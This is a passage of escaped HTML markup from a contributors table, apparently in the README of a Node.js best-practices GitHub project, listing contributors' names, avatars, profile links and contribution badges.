/><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jimmy Callin</b></sub></a><br /><a href=\"#content-jimmycallin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/siddharthofficial/\"><img src=\"https://avatars2.githubusercontent.com/u/26025955?v=4\" width=\"100px;\" alt=\"Siddharth\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Siddharth</b></sub></a><br /><a href=\"#content-w01fS\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ryansmith.tech/\"><img src=\"https://avatars0.githubusercontent.com/u/1578766?v=4\" width=\"100px;\" alt=\"Ryan Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Smith</b></sub></a><br /><a href=\"#content-ryan3E0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://de.linkedin.com/in/tom-boettger\"><img src=\"https://avatars2.githubusercontent.com/u/49961674?v=4\" width=\"100px;\" alt=\"Tom Boettger\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tom Boettger</b></sub></a><br /><a href=\"#content-bttger\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jormaechea\"><img src=\"https://avatars3.githubusercontent.com/u/5612500?v=4\" width=\"100px;\" alt=\"Joaquín Ormaechea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joaquín Ormaechea</b></sub></a><br /><a href=\"#translation-jormaechea\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dfrzuz\"><img src=\"https://avatars3.githubusercontent.com/u/71859096?v=4\" width=\"100px;\" alt=\"dfrzuz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>dfrzuz</b></sub></a><br /><a href=\"#translation-dfrzuz\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/victor-homyakov\"><img src=\"https://avatars1.githubusercontent.com/u/121449?v=4\" width=\"100px;\" alt=\"Victor Homyakov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Victor Homyakov</b></sub></a><br /><a href=\"#content-victor-homyakov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://joshuahemphill.com\"><img src=\"https://avatars3.githubusercontent.com/u/46608115?v=4\" width=\"100px;\" alt=\"Josh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Josh</b></sub></a><br /><a href=\"#content-josh-hemphill\" title=\"Content\">🖋</a> <a href=\"#security-josh-hemphill\" title=\"Security\">🛡️</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alec-francis\"><img src=\"https://avatars2.githubusercontent.com/u/32949882?v=4\" width=\"100px;\" alt=\"Alec Francis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alec Francis</b></sub></a><br /><a href=\"#content-alec-francis\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/arjun6610\"><img src=\"https://avatars1.githubusercontent.com/u/61268891?v=4\" width=\"100px;\" alt=\"arjun6610\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>arjun6610</b></sub></a><br /><a href=\"#content-arjun6610\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jan-osch\"><img src=\"https://avatars2.githubusercontent.com/u/11651780?v=4\" width=\"100px;\" alt=\"Jan Osch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Osch</b></sub></a><br /><a href=\"#content-jan-osch\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/thiagotrs\"><img src=\"https://avatars2.githubusercontent.com/u/32005779?v=4\" width=\"100px;\" alt=\"Thiago Rotondo Sampaio\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thiago Rotondo Sampaio</b></sub></a><br /><a href=\"#translation-thiagotrs\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alexsey\"><img src=\"https://avatars0.githubusercontent.com/u/6392013?v=4\" width=\"100px;\" alt=\"Alexsey\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alexsey</b></sub></a><br /><a href=\"#content-Alexsey\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/13luismb\"><img src=\"https://avatars1.githubusercontent.com/u/32210483?v=4\" width=\"100px;\" alt=\"Luis A. Acurero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Luis A. Acurero</b></sub></a><br /><a href=\"#translation-13luismb\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lromano97.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/22394847?v=4\" width=\"100px;\" alt=\"Lucas Romano\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Romano</b></sub></a><br /><a href=\"#translation-lromano97\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/denisecase\"><img src=\"https://avatars0.githubusercontent.com/u/13016516?v=4\" width=\"100px;\" alt=\"Denise Case\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Denise Case</b></sub></a><br /><a href=\"#content-denisecase\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://stackoverflow.com/story/elektronik\"><img src=\"https://avatars3.githubusercontent.com/u/1078554?v=4\" width=\"100px;\" alt=\"Nick Ribal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nick Ribal</b></sub></a><br /><a href=\"#content-elektronik2k5\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Aelektronik2k5\" title=\"Reviewed Pull Requests\">👀</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/0xflotus\"><img src=\"https://avatars3.githubusercontent.com/u/26602940?v=4\" width=\"100px;\" alt=\"0xflotus\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>0xflotus</b></sub></a><br /><a href=\"#content-0xflotus\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.dijonkitchen.org/\"><img src=\"https://avatars3.githubusercontent.com/u/11434205?v=4\" width=\"100px;\" alt=\"Jonathan Chen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Chen</b></sub></a><br /><a href=\"#content-dijonkitchen\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dilansri\"><img src=\"https://avatars2.githubusercontent.com/u/5089728?v=4\" width=\"100px;\" alt=\"Dilan Srilal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dilan Srilal</b></sub></a><br /><a href=\"#content-dilansri\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://vectree.ru\"><img src=\"https://avatars3.githubusercontent.com/u/4215285?v=4\" width=\"100px;\" alt=\"vladthelittleone\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>vladthelittleone</b></sub></a><br /><a href=\"#translation-vladthelittleone\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.nikolaso.com\"><img src=\"https://avatars0.githubusercontent.com/u/60047271?v=4\" width=\"100px;\" alt=\"Nik Osvalds\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nik Osvalds</b></sub></a><br /><a href=\"#content-nosvalds\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kdaniel21\"><img src=\"https://avatars0.githubusercontent.com/u/39854385?v=4\" width=\"100px;\" alt=\"Daniel Kiss\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniel Kiss</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=kdaniel21\" title=\"Documentation\">📖</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/forresst17\"><img src=\"https://avatars2.githubusercontent.com/u/163352?v=4\" width=\"100px;\" alt=\"Forresst\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Forresst</b></sub></a><br /><a href=\"#content-forresst\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/svenheden\"><img src=\"https://avatars1.githubusercontent.com/u/76098?v=4\" width=\"100px;\" alt=\"Jonathan Svenheden\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Svenheden</b></sub></a><br /><a href=\"#content-svenheden\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AustrisC\"><img src=\"https://avatars2.githubusercontent.com/u/12381652?v=4\" width=\"100px;\" alt=\"AustrisC\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>AustrisC</b></sub></a><br /><a href=\"#content-AustrisC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cisco0808\"><img src=\"https://avatars0.githubusercontent.com/u/60251188?v=4\" width=\"100px;\" alt=\"kyeongtae kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kyeongtae kim</b></sub></a><br /><a href=\"#translation-cisco0808\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://keybase.io/651z9pz968v2accj\"><img src=\"https://avatars.githubusercontent.com/u/65741741?v=4\" width=\"100px;\" alt=\"007\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>007</b></sub></a><br /><a href=\"#content-6gx7iycn53ioq2e8apk1j1ypwov4giui\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.anediaz.com\"><img src=\"https://avatars.githubusercontent.com/u/17216937?v=4\" width=\"100px;\" alt=\"Ane Diaz de Tuesta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ane Diaz de Tuesta</b></sub></a><br /><a href=\"#translation-anediaz\" title=\"Translation\">🌍</a> <a href=\"#content-anediaz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://yukioh.net\"><img src=\"https://avatars.githubusercontent.com/u/23182489?v=4\" width=\"100px;\" alt=\"YukiOta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>YukiOta</b></sub></a><br /><a href=\"#translation-YukiOta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yeovilhospital.co.uk/\"><img src=\"https://avatars.githubusercontent.com/u/43814140?v=4\" width=\"100px;\" alt=\"Frazer Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Frazer Smith</b></sub></a><br /><a href=\"#content-Fdawgs\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rluvaton\"><img src=\"https://avatars.githubusercontent.com/u/16746759?v=4\" width=\"100px;\" alt=\"Raz Luvaton\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Raz Luvaton</b></sub></a><br /><a href=\"#content-rluvaton\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/YA21\"><img src=\"https://avatars.githubusercontent.com/u/37298463?v=4\" width=\"100px;\" alt=\"Yuta Azumi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuta Azumi</b></sub></a><br /><a href=\"#content-YA21\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/andrewjbarbour\"><img src=\"https://avatars.githubusercontent.com/u/77080074?v=4\" width=\"100px;\" alt=\"andrewjbarbour\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>andrewjbarbour</b></sub></a><br /><a href=\"#content-andrewjbarbour\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://MasujimaRyohei.jp\"><img src=\"https://avatars.githubusercontent.com/u/17163541?v=4\" width=\"100px;\" alt=\"mr\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mr</b></sub></a><br /><a href=\"#content-MasujimaRyohei\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kubanac95\"><img src=\"https://avatars.githubusercontent.com/u/16191931?v=4\" width=\"100px;\" alt=\"Aleksandar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aleksandar</b></sub></a><br /><a href=\"#content-kubanac95\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://vincentjonathan.com\"><img src=\"https://avatars.githubusercontent.com/u/32597776?v=4\" width=\"100px;\" alt=\"Owl\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Owl</b></sub></a><br /><a href=\"#content-SuspiciousLookingOwl\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/yedidyas\"><img src=\"https://avatars.githubusercontent.com/u/36074789?v=4\" width=\"100px;\" alt=\"Yedidya Schwartz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yedidya Schwartz</b></sub></a><br /><a href=\"#content-yedidyas\" title=\"Content\">🖋</a> <a href=\"#example-yedidyas\" title=\"Examples\">💡</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ariel-diaz\"><img src=\"https://avatars.githubusercontent.com/u/20423540?v=4\" width=\"100px;\" alt=\"ari\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ari</b></sub></a><br /><a href=\"#content-ariel-diaz\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.koenigthomas.de/\"><img src=\"https://avatars.githubusercontent.com/u/7080389?v=4\" width=\"100px;\" alt=\"Thomas König\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thomas König</b></sub></a><br /><a href=\"#content-Vispercept\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/coocos\"><img src=\"https://avatars.githubusercontent.com/u/1397804?v=4\" width=\"100px;\" alt=\"Kalle Lämsä\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kalle Lämsä</b></sub></a><br /><a href=\"#content-coocos\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://math.cat\"><img src=\"https://avatars.githubusercontent.com/u/10328430?v=4\" width=\"100px;\" alt=\"Wyatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Wyatt</b></sub></a><br /><a href=\"#content-ZhyMC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://libkhadir.fr\"><img src=\"https://avatars.githubusercontent.com/u/45130488?v=4\" width=\"100px;\" alt=\"KHADIR Tayeb\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>KHADIR Tayeb</b></sub></a><br /><a href=\"#content-tkhadir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shankarregmi\"><img src=\"https://avatars.githubusercontent.com/u/7703345?v=4\" width=\"100px;\" alt=\"Shankar Regmi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shankar Regmi</b></sub></a><br /><a href=\"#content-shankarregmi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/codebyshubham\"><img src=\"https://avatars.githubusercontent.com/u/10389723?v=4\" width=\"100px;\" alt=\"Shubham\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shubham</b></sub></a><br /><a href=\"#content-codebyshubham\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://lucalves.me/\"><img src=\"https://avatars.githubusercontent.com/u/17712401?v=4\" width=\"100px;\" alt=\"Lucas Alves\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Alves</b></sub></a><br /><a href=\"#content-lucalves\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/benjaminudoh10\"><img src=\"https://avatars.githubusercontent.com/u/9018331?v=4\" width=\"100px;\" alt=\"Benjamin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin</b></sub></a><br /><a href=\"#content-benjaminudoh10\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yjoer.com\"><img src=\"https://avatars.githubusercontent.com/u/47742486?v=4\" width=\"100px;\" alt=\"Yeoh Joer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yeoh Joer</b></sub></a><br /><a href=\"#content-yjoer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blog.miigon.net\"><img src=\"https://avatars.githubusercontent.com/u/16161991?v=4\" width=\"100px;\" alt=\"Miigon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Miigon</b></sub></a><br /><a href=\"#content-Miigon\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://brainstorage.me/Egregor2011\"><img src=\"https://avatars.githubusercontent.com/u/3630318?v=4\" width=\"100px;\" alt=\"Rostislav Bogorad\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rostislav Bogorad</b></sub></a><br /><a href=\"#content-Egregor2011\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Flouse\"><img src=\"https://avatars.githubusercontent.com/u/1297478?v=4\" width=\"100px;\" alt=\"Flouse\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Flouse</b></sub></a><br /><a href=\"#content-Flouse\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://taranttini.com\"><img src=\"https://avatars.githubusercontent.com/u/6922125?v=4\" width=\"100px;\" alt=\"Tarantini Pereira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tarantini Pereira</b></sub></a><br /><a href=\"#content-taranttini\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kzmat\"><img src=\"https://avatars.githubusercontent.com/u/34614358?v=4\" width=\"100px;\" alt=\"Kazuki Matsuo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kazuki Matsuo</b></sub></a><br /><a href=\"#content-kzmat\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/burkybang\"><img src=\"https://avatars.githubusercontent.com/u/927886?v=4\" width=\"100px;\" alt=\"Adam Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Adam Smith</b></sub></a><br /><a href=\"#content-burkybang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://codekodo.tistory.com\"><img src=\"https://avatars.githubusercontent.com/u/33795856?v=4\" width=\"100px;\" alt=\"Dohyeon Ko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dohyeon Ko</b></sub></a><br /><a href=\"#content-k906506\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vlad99902\"><img src=\"https://avatars.githubusercontent.com/u/67615003?v=4\" width=\"100px;\" alt=\"Vladislav Legkov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vladislav Legkov</b></sub></a><br /><a href=\"#content-vlad99902\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kerolloz.github.io\"><img src=\"https://avatars.githubusercontent.com/u/36763164?v=4\" width=\"100px;\" alt=\"Kerollos Magdy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kerollos Magdy</b></sub></a><br /><a href=\"#content-kerolloz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/erez-lieberman-b90b7219/\"><img src=\"https://avatars.githubusercontent.com/u/3277260?v=4\" width=\"100px;\" alt=\"Erez Lieberman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Erez Lieberman</b></sub></a><br /><a href=\"#content-erezLieberman\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/\"><img src=\"https://avatars.githubusercontent.com/u/48841329?v=4\" width=\"100px;\" alt=\"Breno Macedo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Breno Macedo</b></sub></a><br /><a href=\"#content-breno404\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JFernando122\"><img src=\"https://avatars.githubusercontent.com/u/40414805?v=4\" width=\"100px;\" alt=\"Fernando Flores\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fernando Flores</b></sub></a><br /><a href=\"#translation-JFernando122\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/rafaelconcept/\"><img src=\"https://avatars.githubusercontent.com/u/43880669?v=4\" width=\"100px;\" alt=\"Rafael Brito\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rafael Brito</b></sub></a><br /><a href=\"#translation-rafaelconcept\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://emiliano-peralta-portfolio.vercel.app/\"><img src=\"https://avatars.githubusercontent.com/u/63617637?v=4\" width=\"100px;\" alt=\"Emiliano Peralta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Emiliano Peralta</b></sub></a><br /><a href=\"#translation-emiperalta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lannex.github.io\"><img src=\"https://avatars.githubusercontent.com/u/7369541?v=4\" width=\"100px;\" alt=\"Shin, SJ\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shin, SJ</b></sub></a><br /><a href=\"#content-lannex\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.benjaminforster.com\"><img src=\"https://avatars.githubusercontent.com/u/12589522?v=4\" width=\"100px;\" alt=\"Benjamin Forster\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Forster</b></sub></a><br /><a href=\"#content-e-e-e\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DanieleFedeli\"><img src=\"https://avatars.githubusercontent.com/u/37077048?v=4\" width=\"100px;\" alt=\"Daniele Fedeli\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniele Fedeli</b></sub></a><br /><a href=\"#content-DanieleFedeli\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/djob195\"><img src=\"https://avatars.githubusercontent.com/u/17146669?v=4\" width=\"100px;\" alt=\"djob195\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>djob195</b></sub></a><br /><a href=\"#content-djob195\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/antspk\"><img src=\"https://avatars.githubusercontent.com/u/78955792?v=4\" width=\"100px;\" alt=\"antspk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>antspk</b></sub></a><br /><a href=\"#content-antspk\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" 